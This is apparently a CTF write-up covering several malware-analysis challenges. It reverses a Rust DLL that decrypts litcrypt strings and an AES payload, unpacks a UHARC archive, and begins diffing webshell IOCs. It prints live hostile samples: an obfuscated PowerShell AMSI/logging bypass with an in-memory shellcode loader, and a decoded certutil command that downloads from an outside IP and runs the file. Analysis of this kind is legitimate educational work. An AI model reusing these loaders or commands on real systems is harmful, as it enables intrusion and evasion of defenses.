Creation time : Jan 15, 2021 00:55:24
Access time : Oct 10, 2023 10:22:30
NTFS file reference : MFT entry: 370565, sequence: 3
Distributed link tracking data:
Machine identifier : mattlab
Droid volume identifier : 95570634-010b-4716-b3ef-29407f5fb0f7
Droid file identifier : 2e58774e-7181-11ec-a4b3-0cdd247bfe6b
Birth droid volume identifier : 95570634-010b-4716-b3ef-29407f5fb0f7
Birth droid file identifier : 2e58774e-7181-11ec-a4b3-0cdd247bfe6b
Without surprises, it calls rundll32
on the binary ntcheckos.dll
.
I opened it with Cutter
and under the list of functions it said 21972 Objects
… That’s huge !
The DllMain
seems to lead to nothing, the function is empty.
After some time I searched for crab
(crab
is a fork of Rust
which was created only with troll in mind) and it greatly reduced the list of functions:
The DllMain
is calling NtCheckOSInfrastructure
whose name was certainly chosen to fool curious eyes.
The first instructions of the function are the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
0x1000add0 push r15
0x1000add2 push r14
0x1000add4 push rsi
0x1000add5 push rdi
0x1000add6 push rbx
0x1000add7 sub rsp, 0xd0
0x1000adde movdqa xmmword [var_c0h], xmm7
0x1000ade7 movdqa xmmword [var_b0h], xmm6
0x1000adf0 mov qword [var_20h], 0x42 ; 'B' ; 66
0x1000adf9 lea rdx, [0x103cd938] ; int64_t arg2
0x1000ae00 lea rsi, str.rr5_rr5_rr5_rr5_rr5_rr5_rr5_rr5_rr5_rr5_rr5_rr5_rr5_rr5_rr5_rr5_r ; 0x103cd95b
0x1000ae07 lea rcx, [var_68h] ; int64_t arg1
0x1000ae0c mov r8d, 0xe ; 14 ; int64_t arg3
0x1000ae12 mov r9, rsi ; int64_t arg4
0x1000ae15 call crab_rave::litcrypt_internal::decrypt_bytes::h32388621a43d3c14 ; sym.crab_rave::litcrypt_internal::decrypt_bytes::h32388621a43d3c14
0x1000ae1a mov qword [var_20h], 0x42 ; 'B' ; 66
0x1000ae23 lea rdx, [0x103cd946] ; int64_t arg2
0x1000ae2a lea rcx, [var_80h] ; int64_t arg1
0x1000ae32 mov r8d, 0xa ; int64_t arg3
0x1000ae38 mov r9, rsi ; int64_t arg4
0x1000ae3b call crab_rave::litcrypt_internal::decrypt_bytes::h32388621a43d3c14 ; sym.crab_rave::litcrypt_internal::decrypt_bytes::h32388621a43d3c14
0x1000ae40 mov ecx, 0x40 ; '@' ; 64 ; int64_t arg1
0x1000ae45 mov edx, 8 ; int64_t arg2
0x1000ae4a call __rust_alloc ; sym.__rust_alloc
0x1000ae4f test rax, rax
First, and it is easy to spot, the binary was made using Rust
.
Second, the calling convention is unusual (compared to C binaries on x86_64).
I did some research and found this.
So it seems here that arguments are given with rcx
and rdx
. rax
is still used as the return value.
Now, let’s focus on the call to litcrypt
: it seems that the litcrypt library is used to obfuscate strings in the program at compile time.
When the program is executed, strings are decoded using the XOR operation.
Looking at the assembly again, it was clear that the data at 0x103cd938
(and later at 0x103cd946
) points to encrypted strings.
However, it doesn’t make sense that the key is at several places on the stack, in what seem uninitialized data.
So it was more obvious that the key address is kept in r9
(taken from rsi
) which gives the following key:
1
0x103cd95b .string "-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-r" ; len=67
In the hex view of Cutter
, let’s submit the address 0x103cd938
and get the hex value:
1
405c0b50421f135b5e41420d1d437a3b3c18693724181c41431d06505d13161b480a17
Let’s XOR it again to get the cleartext:
1
2
3
4
5
6
>>> from binascii import unhexlify
>>> c = unhexlify("405c0b50421f135b5e41420d1d437a3b3c18693724181c41431d06505d13161b480a17")
>>> k = "-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-rr5-r".encode()
>>> m = "".join([chr(x ^ y) for x, y in zip(c, k)])
>>> print(m)
m.yeomans3080j ntnotepad.exe
It looks like we took enough data to decode two strings! But those aren’t useful.
If we search for cross-references to the function sym.crab_rave::litcrypt_internal::decrypt_bytes::h32388621a43d3c14
(places where that function is called) we see 4 addresses.
The call in the function crab_rave::inject_flag::h5274a20ed59aab7d
is very interesting because it is also using a library to send an HTTP request:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
0x1000a204 push r13
0x1000a206 push r12
0x1000a208 push rsi
0x1000a209 push rdi
0x1000a20a push rbp
0x1000a20b push rbx
0x1000a20c sub rsp, 0x418
0x1000a213 mov r12, rcx ; arg1
0x1000a216 mov qword [s2], rdx ; arg2
0x1000a21b mov qword [var_78h], r8 ; arg3
0x1000a220 mov qword [lpNumberOfBytesWritten], 0x42 ; 'B' ; 66
0x1000a229 lea rdx, [0x103cd840] ; int64_t arg2
0x1000a230 lea r9, str.rr5_rr5_rr5_rr5_rr5_rr5_rr5_rr5_rr5_rr5_rr5_rr5_rr5_rr5_rr5_rr5_r ; 0x103cd95b ; int64_t arg4
0x1000a237 lea rcx, [var_150h] ; int64_t arg1
0x1000a23f mov r8d, 0x89 ; 137 ; int64_t arg3
0x1000a245 call crab_rave::litcrypt_internal::decrypt_bytes::h32388621a43d3c14 ; sym.crab_rave::litcrypt_internal::decrypt_bytes::h32388621a43d3c14
0x1000a24a mov rsi, qword [var_158h]
0x1000a252 mov r8, qword [var_160h] ; int64_t arg3
0x1000a25a lea rcx, [var_230h] ; int64_t arg1
0x1000a262 mov rdx, rsi ; int64_t arg2
0x1000a265 call reqwest::blocking::get::h91579b36988f2767 ; sym.reqwest::blocking::get::h91579b36988f2767
0x1000a26a mov r13, qword [var_230h]
0x1000a272 mov rax, qword [var_2b8h]
0x1000a27a cmp rax, 3 ; 3
We apply the same XOR key, and we obtain this URL:
1
https://gist.githubusercontent.com/HuskyHacks/8cece878fde615ef8770
The Gist is no more but the user posted another one.
The content is a base64 encoded string:
1
o2WB/eHh3s+SxgR4QUjE9f0yAt4C16oHZvaclKlmBo4K1bsVSbVS2fjxjao/YVUGv7v7Om5xkDjXxARjF6AZalN6pENSgVBQIrYfMq+VeBwwR1whFWRGIC+qulG6HDYmfZt6Va4iljyljxbSnZMrxQwWUXJDhEju2iVzsa1l6nFzoHWO+5+pDV8+sLn3P9jhfZE7qLKVOt7Lm/stSBWZDgzuvqpZziBYo5EumdrISYvWkMm5T2ZD7iRSQaJ3Hr9LUd0nOnfVLW2CyLNmqAM/BKc0f5A9YAoGISmymjc+camULpCiS4WoI8CiyBKOXr5K3CQgx0O9nOn8aS2IU7RreOopH08EGON6DBzkIwbqpC9o28A+wNZsc6cJC0AplIUAafdONBlg/NmcSmkOnPOAR/qhMGMlZKtzEqi4RZDzOfo=
Now, what is doing the code with the response of the HTTP request ?
So it takes the content, decode it, then apply some AES256 functions on it.
The method is described here.
First Cipher::new_256
is called with the decryption key which is rAcbUUWWNFlqMbruiYOIsAyVQHS78orv
.
Then it needs an IV which is the data at address 0x103cd808
(MoJ8C6O4D3asAApB
).
Finally, we need to give the decoded base64 to cipher.cbc_decrypt
and we should have the cleartext.
I asked ChatGPT for help to set up a clean Rust project. Here is my source code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
extern crate libaes;
use libaes::Cipher;
use base64;
fn main() {
let my_key = b"rAcbUUWWNFlqMbruiYOIsAyVQHS78orv";
let iv = b"MoJ8C6O4D3asAApB";
let base64_encoded = "o2WB/eHh3s+SxgR4QUjE9f0yAt4C16oHZvaclKlmBo4K1bsVSbVS2fjxjao/YVUGv7v7Om5xkDjXxARjF6AZalN6pENSgVBQIrYfMq+VeBwwR1whFWRGIC+qulG6HDYmfZt6Va4iljyljxbSnZMrxQwWUXJDhEju2iVzsa1l6nFzoHWO+5+pDV8+sLn3P9jhfZE7qLKVOt7Lm/stSBWZDgzuvqpZziBYo5EumdrISYvWkMm5T2ZD7iRSQaJ3Hr9LUd0nOnfVLW2CyLNmqAM/BKc0f5A9YAoGISmymjc+camULpCiS4WoI8CiyBKOXr5K3CQgx0O9nOn8aS2IU7RreOopH08EGON6DBzkIwbqpC9o28A+wNZsc6cJC0AplIUAafdONBlg/NmcSmkOnPOAR/qhMGMlZKtzEqi4RZDzOfo=";
// Decode the base64-encoded string to obtain the ciphertext
let ciphertext = base64::decode(base64_encoded).expect("Base64 decoding failed");
// Initialize the AES-256 cipher with the key
let cipher = Cipher::new_256(my_key);
// Decrypt the ciphertext
let decrypted = cipher.cbc_decrypt(iv, &ciphertext[..]);
let decrypted_string = String::from_utf8_lossy(&decrypted);
println!("{}", decrypted_string);
}
And it worked!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ cargo run
warning: use of deprecated function `base64::decode`: Use Engine::decode
--> src/main.rs:12:30
|
12 | let ciphertext = base64::decode(base64_encoded).expect("Base64 decoding failed");
| ^^^^^^
|
= note: `#[warn(deprecated)]` on by default
warning: `proj` (bin "proj") generated 1 warning
Finished dev [unoptimized + debuginfo] target(s) in 0.07s
Running `target/debug/proj`
A�8�u�>LLE9�u�X>D�@$I�f>A�oH�P>�H▒>D�@ I��\H��>A�4�H�M1�H1��A��
H>D�@I�>A��H�AXAX^YZAXAYAZH�� AR��XAYZ>H��I���]I��>H���>L��%H1�A�E�V��H1�A��V��flag{225215e04306f6a3c1a59400b054b0df}CONGRATS
Another solution would be to modify the DLL to make it call its own code and obtain the decoded strings and then the flag.
From what I saw, the hard version is the same binary, expect some symbols were removed, meaning the decoding functions doesn’t have a meaningful name anymore.
Hot Of The Press
Description
Oh wow, a malware analyst shared a sample that I read about in the news!
But it looks like they put it in some weird kind of archive…? Anyway, the password should be infected as usual!
Solution
The file is compressed using a not well known archive format:
1
2
$ file hot_off_the_press
hot_off_the_press: UHarc archive data
I chose to rename the file with a .uha
extension, but I’m not sure if it is mandatory.
Then I downloaded and ran the UHARC.EXE
binary using the Wine emulator.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ wine UHARC.EXE x -d2 -pwinfected hot_off_the_press.uha
002c:err:winediag:getaddrinfo Failed to resolve your host name IP
0080:fixme:hid:handle_IRP_MN_QUERY_ID Unhandled type 00000005
0080:fixme:hid:handle_IRP_MN_QUERY_ID Unhandled type 00000005
0080:fixme:hid:handle_IRP_MN_QUERY_ID Unhandled type 00000005
0080:fixme:hid:handle_IRP_MN_QUERY_ID Unhandled type 00000005
UHARC 0.6b ----- high compression multimedia archiver ----- BETA version
Copyright (c) 1997-2005 by Uwe Herklotz All rights reserved 01 Oct 2005
**** Freeware for non-commercial use **** contact: uwe.herklotz@gmx.de ****
Processing archive "hot_off_the_press.uha" (created: 02-Oct-2023, 23:24).
0024:fixme:ntdll:NtQuerySystemInformation info_class SYSTEM_PERFORMANCE_INFORMATION
Using password.
Using 1.7 MB for decompression and 50 KB for file buffers.
Extracting 1 file (4918 bytes)
-------------------------------------------------------------------------------
Extracting hot_off_the_press.ps1
-------------------------------------------------------------------------------
Completed successfully (0.0 sec) All files OK
We get a command line running an inline Powershell script.
That kind od behavior is common for Windows penetration as it prevents the malware from touching the disk.
1
C:\Windows\SysWOW64\cmd.exe /c powershell.exe -nop -w hidden -noni -c if([IntPtr]::Size -eq 4){$b=$env:windir+'\sysnative\WindowsPowerShell\v1.0\powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c $x_wa3=((''Sc''+''{2}i''+''pt{1}loc{0}Logg''+''in''+''g'')-f''k'',''B'',''r'');If($PSVersionTable.PSVersion.Major -ge 3){ $sw=((''E''+''nable{3}''+''c{''+''1}''+''ip{0}Bloc{2}Logging''+'''')-f''t'',''r'',''k'',''S''); $p8=[Collections.Generic.Dictionary[string,System.Object]]::new(); $gG0=((''Ena''+''ble{2}c{5}i{3}t{''+''4}loc''+''{0}{1}''+''nv''+''o''+''cationLoggi''+''ng'')-f''k'',''I'',''S'',''p'',''B'',''r''); $jXZ4D=[Ref].Assembly.GetType(((''{0}y''+''s''+''tem.{1}a''+''n''+''a{4}ement.A{5}t''+''omati''+''on.{2''+''}ti{3}s'')-f''S'',''M'',''U'',''l'',''g'',''u'')); $plhF=[Ref].Assembly.GetType(((''{''+''6}{''+''5}stem.''+''{''+''3''+''}{9}''+''n{9}{''+''2}ement''+''.{''+''8}{''+''4}t{''+''7''+''}''+''m{9}ti{7}n''+''.''+''{8''+''}''+''m''+''si{0''+''}ti{''+''1}s'')-f''U'',''l'',''g'',''M'',''u'',''y'',''S'',''o'',''A'',''a'')); if ($plhF) { $plhF.GetField(((''''+''a{''+''0}''+''si{4}''+''nit{''+''1}''+''ai''+''l{2}{''+''3}'')-f''m'',''F'',''e'',''d'',''I''),''NonPublic,Static'').SetValue($null,$true); }; $lCj=$jXZ4D.GetField(''cachedGroupPolicySettings'',''NonPublic,Static''); If ($lCj) { $a938=$lCj.GetValue($null); If($a938[$x_wa3]){ $a938[$x_wa3][$sw]=0; $a938[$x_wa3][$gG0]=0; } $p8.Add($gG0,0); $p8.Add($sw,0); $a938[''HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\''+$x_wa3]=$p8; } Else { [Ref].Assembly.GetType(((''S{2}{3}''+''t''+''em''+''.Mana''+''ge''+''ment.{''+''5}{4}to''+''mation.Scr''+''ipt{1}loc{0}'')-f''k'',''B'',''y'',''s'',''u'',''A'')).GetField(''signatures'',''NonPublic,Static'').SetValue($null,(New-Object Collections.Generic.HashSet[string])); }};&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(((''H4sI''+''AIeJ''+''G2UC/+1X''+''bU/jOBD+3l9hrS''+''IlkU{0}''+''VFvb{1}IiFdWqD''+''bPRJKS8vR''+''brUKy''+''TR168TFcQplb//7''+''jfNSygJ73{1}lI94F''+''IVvwyMx4/M''+''7YfT9PYl5TH''+''hH7sku8VUnxd''+''T3gRMTT/ku''+''/fWUSjS3Mzp''+''oX7zCWHxBjby+UR''+''jzwaTw4OWq''+''kQ{1}M''+''u8XW2''+''DtJM{1}''+''omtGI''+''TFM8he5nIGAnbP''+''rOfiSf''+''Cfat2qb8W''+''uPFW{0}rlufP''+''gOzYcaD''+''GTrnvKbeq/''+''SWj0tC/ftXN8U5''+''9Uj2+ST2''+''WGHp/nUiIqgFjuk''+''l+mGrCi/USDN2''+''hvuAJn8rqJY''+''13G9VBn''+''HhTcNHa''+''ChyQMx4''+''kul''+''nZ{0}{1}a''+''AT{1}Wcr0kZyUUMHa''+''tdwX0''+''7CAQkiW6RsTI''+''/nkx+N8bF''+''3{0}00''+''ljS''+''CaieWIPiyD''+''2JFfUiq''+''n704YNC''+''D6QS1+l{0}Q''+''OJyYJoq''+''t+AIM{0}U4Zs8''+''i/MWO4c''+''Fsi91olY1sJpbpS''+''mBYG''+''9Jl1OjxIG''+''eSa+jOO''+''5kl''+''g4pcngl''+''n5UalMy7''+''yJvPq''+''3o6eZs2mX''+''3zgbAHTX6PK''+''{1}Zr''+''qHp''+''GYRBy''+''f2JBdrbGoXIgVz''+''sgGbaNGe/Yf''+''1SmP1UhP1V''+''u0U''+''e8ZDToP''+''JRn0r''+''7tr0pj38q{1}''+''ReTuIjmNI''+''YjtaxF1G/''+''zFPjuWjAl{1}{1}GR''+''7UUc9{1}9Qy8''+''GIDgCB''+''q{1}nFb4qKZ6oHU''+''dUbnSbKWUB''+''CNvHiCb''+''oFQbbfO''+''xMHjJD78QORAhd3''+''sYs''+''1aa4O6''+''CU{0}nb''+''{1}upxdtVFIbz{1}v''+''SSzSTXF7+hbpg8c''+''gsIgdJ7QYs''+''lPJs6r+4K6T''+''Mkl9{0}5Glu''+''Yn5{1}5zFtC''+''0eJ1KkPgYVIbj''+''o{0}8''+''GnHlOIWO''+''QzDaC57''+''tOwnF5/Fo+Wxx''+''juG7S0wnhgj8''+''Kh{0}1Wq''+''CPQ0Swuz2g''+''fZiZYMIpTJjosT5''+''oV4''+''OBS7I''+''8st{0}4RAf8HRc''+''hPkGa+Q''+''KSHZchP''+''D3WdcWmRIhcTDR6''+''GM2fVfnHhy''+''6uTOtAQ''+''UwTGyvTVur''+''qXKfi0+P''+''W8sVI4WAGVwCI''+''lQn''+''AgeNb0{1}ftv{0}Dxjj''+''Q6dlh+/lvbyX''+''9/K/{0}22X+XG''+''vHr''+''RZ0mnV635''+''0N7''+''+6d''+''Pmob8sR''+''bf{0}gc+/2j''+''O6vT''+''ufHt856786''+''dO6lz{1}e5i''+''e302D2/PjuxV''+''tzFMr''+''xqfFqP{0}3nQU3''+''c1G''+''9zXmzq+''+''YGzn4P8b''+''iM7f''+''Rwf85lk''+''4+Nh8w5''+''36Q1Z17P6vn7''+''WP8h1gW2R/n+0''+''m2g8UuZ''+''M{0}M3kN7UYyHh''+''T17M5+aw22''+''ch1+GvZO{0}oc3+bF''+''+FX2jz''+''PmifrIOWvTq''+''nNhse''+''D91Ba+iPwsPD''+''D2ZlPKCx3G1M1{1}W''+''+qwhS''+''RWP+p/''+''2tS+Al6''+''ud4''+''Ipl5DC8H5HTl''+''FX3C''+''xUnB1{0}qcKg3DU''+''{1}x/''+''ASIGhvQYCXR5sd''+''mMcV+RxJzSIUP''+''NeaOisYNO''+''5tVzNZNsBM0''+''H9lh2HRyM''+''0{1}u8{0}{0}O7rH''+''oKcShnVu1ut1ZD''+''7le7q+3htfj6''+''pbX4cm3ktix''+''FHjNwNtZZZt2s''+''0CkxjDfHC9''+''8H{1}unK{0}xB7C''+''Tyce''+''4H0AvlOfukrCJ''+''ucs20A''+''i5Vt8''+''u{1}R''+''fghcHVc/Vq+''+''D{0}FPQxA7''+''c{1}{1}0q/rzFxrX0''+''+uz6TZOnIC8z/AX''+''/mDwPfb8YfVVC1a''+''wcoCfd''+''jzseiN/bIX''+''DpUYmCf''+''aRhDPKHwQtAFB''+''tmK8gqP{0}gbpsWn''+''Hspnq''+''dxx8''+''emlmODf2GZMc5''+''4PA''+''AA='')-f''L'',''E'')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);"
The interesting part starts with that code:
1
System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(((''H4sI''+''AIeJ''+''G2UC/+1X''+''bU/jOBD+3l9hrS''+''IlkU{0}''
It takes some base64 encoded data and uncompress it using Gzip.
We also notice the {0}
characters that looks like Python’s F-string formatting. And this is exactly what is done at the end :
1
''AA='')-f''L'',''E'')
The -f
is used for formatting, meaning L
and E
will replace {0}
and {1}
respectively.
Once the string is formatted, base64 decoded and written to a file we can use gunzip
to decompress the archive.
We obtain another powershell script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function i5P {
Param ($cWo8x, $ip)
$g8lN = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
return $g8lN.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($g8lN.GetMethod('GetModuleHandle')).Invoke($null, @($cWo8x)))), $ip))
}
function ma1_D {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $m4AK,
[Parameter(Position = 1)] [Type] $vGu = [Void]
)
$fqGV5 = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$fqGV5.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $m4AK).SetImplementationFlags('Runtime, Managed')
$fqGV5.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $vGu, $m4AK).SetImplementationFlags('Runtime, Managed')
return $fqGV5.CreateType()
}
[Byte[]]$nLQ2k = [System.Convert]::FromBase64String("ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNlcnR1dGlsIC11cmxjYWNoZSAtZiBodHRwOi8vLjEwMy4xNjMuMTg3LjEyOjgwODAvP2VuY29kZWRfZmxhZz0lNjYlNmMlNjElNjclN2IlNjQlNjIlNjYlNjUlMzUlNjYlMzclMzUlMzUlNjElMzglMzklMzglNjMlNjUlMzUlNjYlMzIlMzAlMzglMzglNjIlMzAlMzglMzklMzIlMzglMzUlMzAlNjIlNjYlMzclN2QgJVRFTVAlXGYgJiBzdGFydCAvQiAlVEVNUCVcZg==")
[Uint32]$fal3 = 0
$lc98 = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((i5P kernel32.dll VirtualAlloc), (ma1_D @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $nLQ2k.Length,0x3000, 0x04)
[System.Runtime.InteropServices.Marshal]::Copy($nLQ2k, 0, $lc98, $nLQ2k.length)
if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((i5P kernel32.dll VirtualProtect), (ma1_D @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).Invoke($lc98, [Uint32]$nLQ2k.Length, 0x10, [Ref]$fal3)) -eq $true) {
$ubOb = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((i5P kernel32.dll CreateThread), (ma1_D @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$lc98,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((i5P kernel32.dll WaitForSingleObject), (ma1_D @([IntPtr], [Int32]))).Invoke($ubOb,0xffffffff) | Out-Null
We notice the base64 code which decode to a system command (I removed a lot of useless whitespaces):
1
2
$ echo "ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNlcnR1dGlsIC11cmxjYWNoZSAtZiBodHRwOi8vLjEwMy4xNjMuMTg3LjEyOjgwODAvP2VuY29kZWRfZmxhZz0lNjYlNmMlNjElNjclN2IlNjQlNjIlNjYlNjUlMzUlNjYlMzclMzUlMzUlNjElMzglMzklMzglNjMlNjUlMzUlNjYlMzIlMzAlMzglMzglNjIlMzAlMzglMzklMzIlMzglMzUlMzAlNjIlNjYlMzclN2QgJVRFTVAlXGYgJiBzdGFydCAvQiAlVEVNUCVcZg==" | base64 -d
certutil -urlcache -f http://.103.163.187.12:8080/?encoded_flag=%66%6c%61%67%7b%64%62%66%65%35%66%37%35%35%61%38%39%38%63%65%35%66%32%30%38%38%62%30%38%39%32%38%35%30%62%66%37%7d %TEMP%\f & start /B %TEMP%\f
Finally, we can urldecode the encoded flag:
1
2
3
4
5
6
7
$ python3
Python 3.9.1 (default, Oct 13 2021, 17:37:58)
[GCC 7.5.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
f>>> from urllib.parse import unquote
>>> unquote("%66%6c%61%67%7b%64%62%66%65%35%66%37%35%35%61%38%39%38%63%65%35%66%32%30%38%38%62%30%38%39%32%38%35%30%62%66%37%7d")
'flag{dbfe5f755a898ce5f2088b0892850bf7}'
HumanTwo
Description
During the MOVEit Transfer exploitation, there were tons of “indicators of compromise” hashes available for the human2.aspx webshell! We collected a lot of them, but they all look very similar… except for very minor differences. Can you find an oddity?
Solution
We have a ZIP file which contains 1000 files:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ file human2.aspx_iocs.zip
human2.aspx_iocs.zip: Zip archive data, at least v2.0 to extract, compression method=deflate
$ unzip -l human2.aspx_iocs.zip
Archive: human2.aspx_iocs.zip
Length Date Time Name
--------- ---------- ----- ----
7530 2023-09-14 04:49 ea0d98c023fb788809906e2d670e98d76d6f42b0efd76611ec698044876e5f3a
7530 2023-09-14 04:49 f5983c8f11f4364774511065c11b23f9fcd46f2ddb23a88b8097cda816ef84a3
7530 2023-09-14 04:49 4418fa01c8088d7176342225b0788c9ff74950624aed38aa210f90777765a3bf
7530 2023-09-14 04:49 ca0acc9e4ec8e1d382e73573f05eefc81c33d5839ab0ab97c592d754714f8868
7530 2023-09-14 04:49 d61a4cb986e07aec1923bc76585d27e452f49adc0eeee1bcb43f1271317c203d
7530 2023-09-14 04:49 fa0041616061ecfafca58a07a3c57f0dc45a5d027e53e12620f0bf5c0eb7447c
7530 2023-09-14 04:49 0d0b0d7f24427ffd16e287a00d62491b2496ce948b3aa1dd4bf1559ac15297fe
7530 2023-09-14 04:49 b307ce00b04d5e3184e1fb44ab52a007f5f19f43a1884252eee04000c33efe32
7530 2023-09-14 04:49 a7dd3eac36b8d01cdf9e35c22c26437589c830486d5099273078cd61b108ebe8
--- snip ---
7530 2023-09-14 04:49 3d2d99df3e828d3271d08b3aa8f284b58b82bffa6fde9b729a80cc3dfa6fe333
7530 2023-09-14 04:49 3513d8d5ee18f37521f21c5ff4b95cd456cd3707f45c2860b96dc4d18d5f7b7f
7530 2023-09-14 04:49 38fbf520c6e699d2ba2c962ff49d25afa047c829162a809e3e857dc74af135b0
7530 2023-09-14 04:49 496b4b51c22f379d71f96aa68655f00ea7d91c0035e39667bbb0b6ceccfba161
--------- -------
7530000 1000 files
All the files looks similar with always the same size.
Let’s diff two files:
1
2
3
4
5
$ diff 559cb72f981be4df371fc501db246318ce3fe9950e1102bbd97630d8858e8e93 ad9faaccda377bb05ec4284953d84a9f881838314ea7a3a3389f14e5790e3817
36c36
< if (!String.Equals(pass, "cad737a7-896f-4d11-8c59-d6ae7453f784")) {
---
> if (!String.Equals(pass, "a3e1d3a2-891b-4ca4-8b4d-a70e9aacf118")) {
Let’s grep for that line in all files and see if something different appears.
1
2
3
4
5
6
7
8
9
$ grep "String.Equals" * | less
--- snip ---
